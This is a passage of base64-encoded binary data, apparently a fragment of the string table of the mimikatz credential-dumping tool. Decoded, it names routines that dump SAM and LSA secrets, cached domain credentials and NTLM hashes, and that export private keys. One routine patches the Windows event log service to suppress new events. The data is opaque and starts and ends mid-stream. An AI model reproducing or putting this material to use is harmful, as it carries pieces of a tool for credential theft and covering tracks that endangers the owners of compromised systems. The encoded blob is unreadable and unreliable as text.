HIAdABfAHQAbwBfAGgAdwAgADsAIABOAEMAcgB5AHAAdABPAHAAZQBuAFMAdABvAHIAYQBnAGUAUAByAG8AdgBpAGQAZQByADoAIAAlADAAOAB4AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AYwBfAGMAZQByAHQAXwB0AG8AXwBoAHcAIAA7ACAATgBvACAAQwBOAEcAPwAKAAAARABzAHQAIABwAHIAbwB2AGkAZABlAHIAIAAgACAAOgAgACUAcwAKAEQAcwB0ACAAYwBvAG4AdABhAGkAbgBlAHIAIAAgADoAIAAlAHMACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBjAF8AYwBlAHIAdABfAHQAbwBfAGgAdwAgADsAIABDAHIAeQBwAHQAUwBlAHQAUAByAG8AdgBQAGEAcgBhAG0AKABQAFAAXwBLAEUAWQBFAFgAQwBIAEEATgBHAEUAXwBQAEkATgApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBjAF8AYwBlAHIAdABfAHQAbwBfAGgAdwAgADsAIABDAHIAeQBwAHQAQQBjAHEAdQBpAHIAZQBDAG8AbgB0AGUAeAB0ACgAcABpAG4AKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAARABzAHQAIABLAGUAeQAgAEkAbQBwAG8AcgB0ACAAOgAgAAAATwBLAAoARABzAHQAIABDAGUAcgB0ACAAQQBzAHMAbwBjACAAOgAgAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGMAXwBjAGUAcgB0AF8AdABvAF8AaAB3ACAAOwAgAEMAcgB5AHAAdABTAGUAdABLAGUAeQBQAGEAcgBhAG0AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AYwBfAGMAZQByAHQAXwB0AG8AXwBoAHcAIAA7ACAAQwByAHkAcAB0AEkAbQBwAG8AcgB0AEsAZQB5ACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AYwBfAGMAZQByAHQAXwB0AG8AXwBoAHcAIAA7ACAAQwBlAHIAdABGAGkAbgBkAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBJAG4AUwB0AG8AcgBlACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AYwBfAGMAZQByAHQAXwB0AG8AXwBoAHcAIAA7ACAAQwBlAHIAdABPAHAAZQBuAFMAdABvAHIAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AYwBfAGMAZQByAHQAXwB0AG8AXwBoAHcAIAA7ACAALwBuAGEAbQBlADoAawBpAHcAaQAgAG4AZQBlAGQAZQBkAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAEYAcgBlAGUASABhAG4AZABsAGUAQwBlAHIAdAAgADsAIABDAGUAcgB0AEYAcgBlAGUAQwBlAHIAdABpAGYAaQBjAGEAdABlAEMAbwBuAHQAZQB4AHQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8ARgByAGUAZQBIAGEAbgBkAGwAZQBDAGUAcgB0ACAAOwAgAEMAZQByAHQAQwBsAG8AcwBlAFMAdABvAHIAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBJAG0AcABvAHIAdABDAGUAcgB0ACAAOwAgAEMAcgB5AHAAdABRAHUAZQByAHkATwBiAGoAZQBjAHQAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBOAEMAcgB5AHAAdABfAEsAZQB5AEYAcgBvAG0ATQBhAGcAaQBjACAAOwAgAEkAbgB2AGEAbABpAGQAIABQAFYASwAgAGYAaQBsAGUAIAAoAGUAbgBjAHIAeQBwAHQAaQBvAG4AIABvAHIAIABzAGkAegBlACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBOAEMAcgB5AHAAdABfAEsAZQB5AEYAcgBvAG0ATQBhAGcAaQBjACAAOwAgAEIAYQBkACAAUgBTAEEAIABtAGEAZwBpAGMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8ATgBDAHIAeQBwAHQAXwBLAGUAeQBGAHIAbwBtAE0AYQBnAGkAYwAgADsAIABCAGEAZAAgAEQAUwBBAHYAMgAgAG0AYQBnAGkAYwAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAE4AQwByAHkAcAB0AF8ASwBlAHkARgByAG8AbQBNAGEAZwBpAGMAIAA7ACAASQBuAHYAYQBsAGkAZAAgAEIATABPAEIAdgAyACAAYQBpAEsAZQB5AEEAbABnADoAIAAwAHgAJQAwADgAeAAKAAAAAABDAEEAUABJAEQAUwBBAFAAUgBJAFYAQQBUAEUAQgBMAE8AQgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAE4AQwByAHkAcAB0AF8ASwBlAHkARgByAG8AbQBNAGEAZwBpAGMAIAA7ACAAQgBhAGQAIABEAFMAQQB2ADMAIABzAGkAegBlACAALQAgAFEAOgAlAHUAIAAmACAAWAA6ACUAdQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAE4AQwByAHkAcAB0AF8ASwBlAHkARgByAG8AbQBNAGEAZwBpAGMAIAA7ACAAQgBhAGQAIABEAFMAQQB2ADMAIABtAGEAZwBpAGMAIAAoADAAeAAlADAAOAB4ACkAIABvAHIAIABYACAAcwBpAHoAZQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBOAEMAcgB5AHAAdABfAEsAZQB5AEYAcgBvAG0ATQBhAGcAaQBjACAAOwAgAEkAbgB2AGEAbABpAGQAIABCAEwATwBCAHYAMwAgAGEAaQBLAGUAeQBBAGwAZwA6ACAAMAB4ACUAMAA4AHgACgAAAAAARQBDAEMAUABSAEkAVgBBAFQARQBCAEwATwBCAAAAAABFAEMAQwBGAFUATABMAFAAUgBJAFYAQQBUAEUAQgBMAE8AQgAAAAAARABIAFAAUgBJAFYAQQBUAEUAQgBMAE8AQgAAAEQAUwBBAFAAUgBJAFYAQQBUAEUAQgBMAE8AQgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBOAEMAcgB5AHAAdABfAEEAdQB0AG8ASwBlAHkAIAA7ACAATgBvAHQAIABhACAAUABFAE0AIAB3AGkAdABoACAAMgA1ADYALAAgADMAOAA0ACAAbwByACAANQAyADEAIABiAGkAdABzACAAYwB1AHIAdgBlACAAKAB0AHIAeQAgAGcAZQBuAGUAcgBpAGMAIABQAFIASQBWAEEAVABFACAASwBFAFkAIABvAHIAIABQAEsAQwBTACMAOAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8ATgBDAHIAeQBwAHQAXwBBAHUAdABvAEsAZQB5ACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAZABlAGMAbwBkAGUAIABmAG8AcgBtAGEAdAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBOAEMAcgB5AHAAdABfAEEAdQB0AG8ASwBlAHkAIAA7ACAAQwByAHkAcAB0AFMAdAByAGkAbgBnAFQAbwBCAGkAbgBhAHIAeQBBACgAZABhAHQAYQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAE4AQwByAHkAcAB0AF8AQQB1AHQAbwBLAGUAeQAgADsAIABDAHIAeQBwAHQAUwB0AHIAaQBuAGcAVABvAEIAaQBuAGEAcgB5AEEAKABpAG4AaQB0ACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AawBlAHkAdQB0AGkAbABfAGUAeABwAG8AcgB0AF8AcABrAGMAcwA4AF8AZgBpAGwAZQAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwB3AHIAaQB0AGUARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGsAZQB5AHUAdABpAGwAXwBlAHgAcABvAHIAdABfAHAAawBjAHMAOABfAGYAaQBsAGUAIAA7ACAAawB1AGwAbABfAG0AXwBzAHQAcgBpAG4AZwBfAEUAbgBjAG8AZABlAEIANgA0AF8AaABlAGEAZABlAHIAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBrAGUAeQB1AHQAaQBsAF8AZQB4AHAAbwByAHQAXwBwAGsAYwBzADgAXwBmAGkAbABlACAAOwAgAE4AQwByAHkAcAB0AEUAeABwAG8AcgB0AEsAZQB5ACgAZABhAHQAYQApADoAIAAwAHgAJQAwADgAeAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AawBlAHkAdQB0AGkAbABfAGUAeABwAG8AcgB0AF8AcABrAGMAcwA4AF8AZgBpAGwAZQAgADsAIABOAEMAcgB5AHAAdABFAHgAcABvAHIAdABLAGUAeQAoAGkAbgBpAHQAKQA6ACAAMAB4ACUAMAA4AHgACgAAAAAAUAByAGkAdgBhAHQAZQAgAGsAZQB5AAoAPQA9AD0APQA9AD0APQA9AD0APQA9AAoAAAAAAHAAOAAAAAAAcABrAGMAcwA4AAAAcABrADgAAABQAEsAQwBTACMAOAAgAGUAeABwAG8AcgB0AAoAPQA9AD0APQA9AD0APQA9AD0APQA9AD0APQAKACAAIAAgACAARQB4AHAAbwByAHQAOgAgAAAAAABPAEsAIAAtACAAJQBzAAoAAAAAAGMAZQByAHQAAAAAAEMAZQByAHQAaQBmAGkAYwBhAHQAZQAKAD0APQA9AD0APQA9AD0APQA9AD0APQAKAAAAAABwADEAMgAAAHAAawBjAHMAMQAyAAAAAABQAEsAQwBTACMAMQAyACAAZQB4AHAAbwByAHQACgA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0ACgAgACAAIAAgAEUAeABwAG8AcgB0ADoAIAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGsAZQB5AHUAdABpAGwAIAA7ACAAQwBlAHIAdABTAGUAdABDAGUAcgB0AGkAZgBpAGMAYQB0AGUAQwBvAG4AdABlAHgAdABQAHIAbwBwAGUAcgB0AHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AawBlAHkAdQB0AGkAbAAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwByAGUAYQBkAEQAYQB0AGEAKABjAGUAcgB0ACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGsAZQB5AHUAdABpAGwAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AcgBlAGEAZABEAGEAdABhACgAawBlAHkAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAUABDAFAAXwBQAEwAQQBUAEYATwBSAE0AXwBUAFkAUABFAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAHAAbABhAHQAZgBvAHIAbQBpAG4AZgBvACAAOwAgAE4AQwByAHkAcAB0AEcAZQB0AFAAcgBvAHAAZQByAHQAeQAoAGQAYQB0AGEAKQA6ACAAMAB4ACUAMAA4AHgACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBwAGwAYQB0AGYAbwByAG0AaQBuAGYAbwAgADsAIABOAEMAcgB5AHAAdABHAGUAdABQAHIAbwBwAGUAcgB0AHkAKABpAG4AaQB0ACkAOgAgADAAeAAlADAAOAB4AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AcABsAGEAdABmAG8AcgBtAGkAbgBmAG8AIAA7ACAATgBDAHIAeQBwAHQATwBwAGUAbgBTAHQAbwByAGEAZwBlAFAAcgBvAHYAaQBkAGUAcgA6ACAAMAB4ACUAMAA4AHgACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AcABsAGEAdABmAG8AcgBtAGkAbgBmAG8AIAA7ACAATgBvACAAQwBOAEcAPwAKAAAAZAByAG8AcAAAAAAAAAAAAFsAZQB4AHAAZQByAGkAbQBlAG4AdABhAGwAXQAgAHAAYQB0AGMAaAAgAEUAdgBlAG4AdABzACAAcwBlAHIAdgBpAGMAZQAgAHQAbwAgAGEAdgBvAGkAZAAgAG4AZQB3ACAAZQB2AGUAbgB0AHMAAABjAGwAZQBhAHIAAABDAGwAZQBhAHIAIABhAG4AIABlAHYAZQBuAHQAIABsAG8AZwAAAAAAZQB2AGUAbgB0AAAARQB2AGUAbgB0ACAAbQBvAGQAdQBsAGUAAAAAAGUAdgBlAG4AdABsAG8AZwAuAGQAbABsAAAAAAB3AGUAdgB0AHMAdgBjAC4AZABsAGwAAABFAHYAZQBuAHQATABvAGcAAAAAAFMAZQBjAHUAcgBpAHQAeQAAAAAAbABvAGcAAABVAHMAaQBuAGcAIAAiACUAcwAiACAAZQB2AGUAbgB0ACAAbABvAGcAIAA6AAoAAAAtACAAJQB1ACAAZQB2AGUAbgB0ACgAcwApAAoAAAAAAC0AIABDAGw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AawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBhAG0AIAA7ACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAUwBZAFMAVABFAE0AIABoAGkAdgBlACkAIAAoADAAeAAlADAAOAB4ACkACgAAAFMAWQBTAFQARQBNAAAAAABTAEEATQAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGEAbQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAAKABTAEEATQApACAAKAAwAHgAJQAwADgAeAApAAoAAAA+ACAAVQBzAGUAcgAgAGMAYQBjAGgAZQAgAHIAZQBwAGwAYQBjAGUAIABtAG8AZABlACAAIQAKAAAAAAAgACAAKgAgAHUAcwBlAHIAIAAgACAAIAAgADoAIAAlAHMACgAAAAAAZABjAGMAAAAgACAAKgAgAGQAYwBjAFgAIAAgACAAIAAgADoAIAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAYwByAGUAdABzAE8AcgBDAGEAYwBoAGUAIAA7ACAARABDAEMAIABoAGEAcwBoACAAbABlAG4AZwB0AGgAIABtAHUAcwB0ACAAYgBlACAAMwAyACAAKAAxADYAIABiAHkAdABlAHMAKQAgAC0AIAB3AGkAbABsACAAdQBzAGUAIABkAGUAZgBhAHUAbAB0ACAAcABhAHMAcwB3AG8AcgBkAC4ALgAuAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAYwByAGUAdABzAE8AcgBDAGEAYwBoAGUAIAA7ACAAbgB0AGwAbQAgAGgAYQBzAGgAIABsAGUAbgBnAHQAaAAgAG0AdQBzAHQAIABiAGUAIAAzADIAIAAoADEANgAgAGIAeQB0AGUAcwApACAALQAgAHcAaQBsAGwAIAB1AHMAZQAgAGQAZQBmAGEAdQBsAHQAIABwAGEAcwBzAHcAbwByAGQALgAuAC4ACgAAAAAAIAAgACoAIABwAGEAcwBzAHcAbwByAGQAIAA6ACAAJQBzAAoAAAAAACAAIAAqACAAbgB0AGwAbQAgACAAIAAgACAAOgAgAAAAcwB1AGIAagBlAGMAdAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAYwByAGUAdABzAE8AcgBDAGEAYwBoAGUAIAA7ACAAQwBOAEcAIABuAG8AdAAgAHMAdQBwAHAAbwByAHQAZQBkACAAeQBlAHQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAZQBjAHIAZQB0AHMATwByAEMAYQBjAGgAZQAgADsAIABrAGUAeQBTAHAAZQBjACAAPQA9ACAAQwBFAFIAVABfAE4AQwBSAFkAUABUAF8ASwBFAFkAXwBTAFAARQBDACAAdwBpAHQAaABvAHUAdAAgAEMATgBHACAASABhAG4AZABsAGUAIAA/AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAYwByAGUAdABzAE8AcgBDAGEAYwBoAGUAIAA7ACAAQwBlAHIAdABGAGkAbgBkAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBJAG4AUwB0AG8AcgBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAZQBjAHIAZQB0AHMATwByAEMAYQBjAGgAZQAgADsAIABDAGUAcgB0AE8AcABlAG4AUwB0AG8AcgBlACAAKAAwAHgAJQAwADgAeAApAAoAAABzAGUAYwB1AHIAaQB0AHkAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAZQBjAHIAZQB0AHMATwByAEMAYQBjAGgAZQAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKABTAEUAQwBVAFIASQBUAFkAIABoAGkAdgBlACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBlAGMAcgBlAHQAcwBPAHIAQwBhAGMAaABlACAAOwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoAFMAWQBTAFQARQBNACAAaABpAHYAZQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFMARQBDAFUAUgBJAFQAWQAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBlAGMAcgBlAHQAcwBPAHIAQwBhAGMAaABlACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcATwBwAGUAbgBLAGUAeQBFAHgAIAAoAFMARQBDAFUAUgBJAFQAWQApACAAKAAwAHgAJQAwADgAeAApAAoAAABDAHUAcgByAGUAbgB0AAAARABlAGYAYQB1AGwAdAAAAEMAbwBuAHQAcgBvAGwAUwBlAHQAMAAwADAAAABTAGUAbABlAGMAdAAAAAAAJQAwADMAdQAAAAAASgBEAAAAAABTAGsAZQB3ADEAAABHAEIARwAAAEQAYQB0AGEAAAAAACUAeAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAUwB5AHMAawBlAHkAIAA7ACAATABTAEEAIABLAGUAeQAgAEMAbABhAHMAcwAgAHIAZQBhAGQAIABlAHIAcgBvAHIACgAAAAAARABvAG0AYQBpAG4AIAA6ACAAAABDAG8AbQBwAHUAdABlAHIATgBhAG0AZQAAAAAAQwBvAG4AdAByAG8AbABcAEMAbwBtAHAAdQB0AGUAcgBOAGEAbQBlAFwAQwBvAG0AcAB1AHQAZQByAE4AYQBtAGUAAABTAHkAcwBLAGUAeQAgADoAIAAAAEMAbwBuAHQAcgBvAGwAXABMAFMAQQAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AEMAbwBtAHAAdQB0AGUAcgBBAG4AZABTAHkAcwBrAGUAeQAgADsAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABTAHkAcwBrAGUAeQAgAEsATwAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAQwBvAG0AcAB1AHQAZQByAEEAbgBkAFMAeQBzAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcATwBwAGUAbgBLAGUAeQBFAHgAIABMAFMAQQAgAEsATwAKAAAAAABWAAAAUwBBAE0AXABEAG8AbQBhAGkAbgBzAFwAQQBjAGMAbwB1AG4AdAAAAEwAbwBjAGEAbAAgAFMASQBEACAAOgAgAAAAAABVAHMAZQByAHMAAABOAGEAbQBlAHMAAAAKAFIASQBEACAAIAA6ACAAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAVQBzAGUAcgAgADoAIAAlAC4AKgBzAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFUAcwBlAHIAcwBBAG4AZABTAGEAbQBLAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAAdQBzAGUAcgAgACgAJQBzACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFUAcwBlAHIAcwBBAG4AZABTAGEAbQBLAGUAeQAgADsAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABTAGEAbQBLAGUAeQAgAEsATwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFUAcwBlAHIAcwBBAG4AZABTAGEAbQBLAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAAUwBBAE0AIABBAGMAYwBvAHUAbgB0AHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AEgAYQBzAGgAIAA7ACAAUgB0AGwARABlAGMAcgB5AHAAdABEAGEAdABhADIACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AEgAYQBzAGgAIAA7ACAAVQBuAGsAbgBvAHcAIABTAEEATQBfAEgAQQBTAEgAIAByAGUAdgBpAHMAaQBvAG4AIAAoACUAaAB1ACkACgAAAAAATgBUAEwATQAAAAAAbABtACAAIAAAAAAATABNACAAIAAAAAAAUwB1AHAAcABsAGUAbQBlAG4AdABhAGwAQwByAGUAZABlAG4AdABpAGEAbABzAAAACgBTAHUAcABwAGwAZQBtAGUAbgB0AGEAbAAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA6AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAUwB1AHAAcABsAGUAbQBlAG4AdABhAGwAQwByAGUAZABzACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcAUQB1AGUAcgB5AFYAYQBsAHUAZQBFAHgAKABkAGEAdABhACkACgAAAAAACgBTAEEATQBLAGUAeQAgADoAIAAAAAAARgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABTAGEAbQBLAGUAeQAgADsAIABSAHQAbABEAGUAYwByAHkAcAB0AEQAYQB0AGEAMgAgAEsATwAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFMAYQBtAEsAZQB5ACAAOwAgAFUAbgBrAG4AbwB3ACAAUwB0AHIAdQBjAHQAIABLAGUAeQAgAHIAZQB2AGkAcwBpAG8AbgAgACgAJQB1ACkAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABTAGEAbQBLAGUAeQAgADsAIABVAG4AawBuAG8AdwAgAEYAIAByAGUAdgBpAHMAaQBvAG4AIAAoACUAaAB1ACkAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABTAGEAbQBLAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAE8AcABlAG4AQQBuAGQAUQB1AGUAcgB5AFcAaQB0AGgAQQBsAGwAbwBjACAASwBPAAAAUABvAGwAXwBfAEQAbQBOAAAAAABQAG8AbABfAF8ARABtAFMAAAAAACUAcwAgAG4AYQBtAGUAIAA6ACAAAAAAACAAKAAgAAAAIAApAAAAAABQAG8AbABpAGMAeQAAAAAATABvAGMAYQBsAAAAQQBjAAAAAABQAHIAAAAAAFAAbwBsAEQAbgBEAEQATgAAAAAARABvAG0AYQBpAG4AIABGAFEARABOACAAOgAgACUAdwBaAAoAAAAAAFAAbwBsAFIAZQB2AGkAcwBpAG8AbgAAAAAAAAAKAFAAbwBsAGkAYwB5ACAAcwB1AGIAcwB5AHMAdABlAG0AIABpAHMAIAA6ACAAJQBoAHUALgAlAGgAdQAKAAAAUABvAGwARQBLAEwAaQBzAHQAAABQAG8AbABTAGUAYwByAGUAdABFAG4AYwByAHkAcAB0AGkAbwBuAEsAZQB5AAAAAABMAFMAQQAgAEsAZQB5ACgAcwApACAAOgAgACUAdQAsACAAZABlAGYAYQB1AGwAdAAgAAAAIAAgAFsAJQAwADIAdQBdACAAAABMAFMAQQAgAEsAZQB5ACAAOgAgAAAAAABTAGUAYwByAGUAdABzAAAAcwBlAHIAdgBpAGMAZQBzAAAAAAAKAFMAZQBjAHIAZQB0ACAAIAA6ACAAJQBzAAAAXwBTAEMAXwAAAAAAQwB1AHIAcgBWAGEAbAAAAAoAYwB1AHIALwAAAE8AbABkAFYAYQBsAAAAAAAKAG8AbABkAC8AAABTAGUAYwByAGUAdABzAFwATgBMACQASwBNAFwAQwB1AHIAcgBWAGEAbAAAAEMAYQBjAGgAZQAAAE4ATAAkAEkAdABlAHIAYQB0AGkAbwBuAEMAbwB1AG4AdAAAAAAAAAAqACAATgBMACQASQB0AGUAcgBhAHQAaQBvAG4AQwBvAHUAbgB0ACAAaQBzACAAJQB1ACwAIAAlAHUAIAByAGUAYQBsACAAaQB0AGUAcgBhAHQAaQBvAG4AKABzACkACgAAAAAAKgAgAEQAQwBDADEAIABtAG8AZABlACAAIQAKAAAAAAAAAAAAKgAgAEkAdABlAHIAYQB0AGkAbwBuACAAaQBzACAAcwBlAHQAIAB0AG8AIABkAGUAZgBhAHUAbAB0ACAAKAAxADAAMgA0ADAAKQAKAAAAAABOAEwAJABDAG8AbgB0AHIAbwBsAAAAAAAKAFsAJQBzACAALQAgAAAAXQAKAFIASQBEACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAAAAAAA+ACAAVQBzAGUAcgAgAGMAYQBjAGgAZQAgAHIAZQBwAGwAYQBjAGUAIABtAG8AZABlACAAKAAyACkAIQAKAAAAIAAgAE0AcwBDAGEAYwBoAGUAVgAyACAAOgAgAAAAAAAgACAAQwBoAGUAYwBrAHMAdQBtACAAIAA6ACAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AE4ATABLAE0AUwBlAGMAcgBlAHQAQQBuAGQAQwBhAGMAaABlACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcAUwBlAHQAVgBhAGwAdQBlAEUAeAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQATgBMAEsATQBTAGUAYwByAGUAdABBAG4AZABDAGEAYwBoAGUAIAA7ACAAPwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAPgAgAFUAcwBlAHIAIABjAGEAYwBoAGUAIAByAGUAcABsAGEAYwBlACAAbQBvAGQAZQAgACgA